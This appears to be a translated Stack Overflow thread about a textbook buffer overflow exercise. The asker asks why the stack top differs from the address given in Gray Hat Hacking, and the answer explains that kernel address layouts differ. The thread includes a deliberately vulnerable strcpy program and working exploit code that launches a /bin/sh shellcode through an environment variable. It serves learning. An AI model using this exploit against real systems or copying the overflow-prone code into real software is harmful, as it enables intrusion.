簡體   English   中英

找到緩沖區溢出的堆棧的開始

[英]Finding the start of the stack for a buffer overflow

根據這本書,Gray Hat Hacking,“所有Linux ELF文件都被映射到內存中,最后一個相對地址為0xbfffffff”。 通過從該地址減去4個NULL字節,文件名的長度和shellcode的長度,顯然可以將被利用的緩沖區中的返回地址設置為環境變量的返回地址。

但是,在嘗試此操作時,在我看來,在我的64位Linux測試環境( 禁用ASLR )中,堆棧不是在0xbffffff處啟動,而是在0xffffdfff處啟動。

為什么我的堆棧開始於與書中不同的地址? 這不是關於ALSR,因為地址不會每次都改變,但我想知道為什么我的地址從0xffffdfff開始而不是書中的地址。 想法?

這是易受攻擊的緩沖區:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
    char buffer[10];
    printf("Vulnerable program has loaded...");
    fflush(stdout);
    strcpy(buffer, argv[1]);
}

編譯器選項:

gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c

這是漏洞利用代碼:

#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#define FILENAME "./vulnerable_buffer_small" 
#define SIZE 80  
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
void main(int argc, char *argv[]) { 
    char *environment[] = {shellcode, NULL}; 
    char buffer[SIZE]; 
    char *parameters[] = {FILENAME, buffer, NULL}; 
    int *pointer, i, address; 
    address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME); 
    pointer = (int *) (buffer + 2);; 
    for (i = 0; i < SIZE; i += 4) { 
        *pointer++ = address; 
    }   
    printf("Using address: 0x%X\n", address); 
    execle(parameters[0], (char*) parameters, environment); 
    exit(1); 
}

我嘗試使用GDB在易受攻擊的程序中找到第一個環境變量的地址,但沒有成功:

(gdb) x/s *environ
*lines removed for clarity*
0xffffdfb5: "DISPLAY=:1"
(gdb) 
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
(gdb) 
0xffffdff8: ""
(gdb) 
0xffffdff9: ""
(gdb) 
0xffffdffa: ""
(gdb) 
0xffffdffb: ""
(gdb) 
0xffffdffc: ""
(gdb) 
0xffffdffd: ""
(gdb) 
0xffffdffe: ""
(gdb) 
0xffffdfff: ""
(gdb) 
0xffffe000: <error: Cannot access memory at address 0xffffe000>

任何人都可以解釋我在這里錯過的東西嗎?

解釋相當簡單 - 如果比較32位內核和64位內核,段順序和地址布局肯定會有所不同。 本書的版本可能針對32位內核上的32位ELF二進制文件,或者可能是舊版本的內核。 即使您運行32位二進制文​​件,您仍然應該期望不同的結果。 您不應該假設不同內核版本之間的地址空間布局甚至相同。

有大量的在線資源可以發現有關此事的更多細節,例如關於內核2.0的一篇非常過時的文章: http//asm.sourceforge.net/articles/startup.html

您還應該了解有關Linux上32位和64位二進制文​​件之間的程序地址空間布局差異的更多信息。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM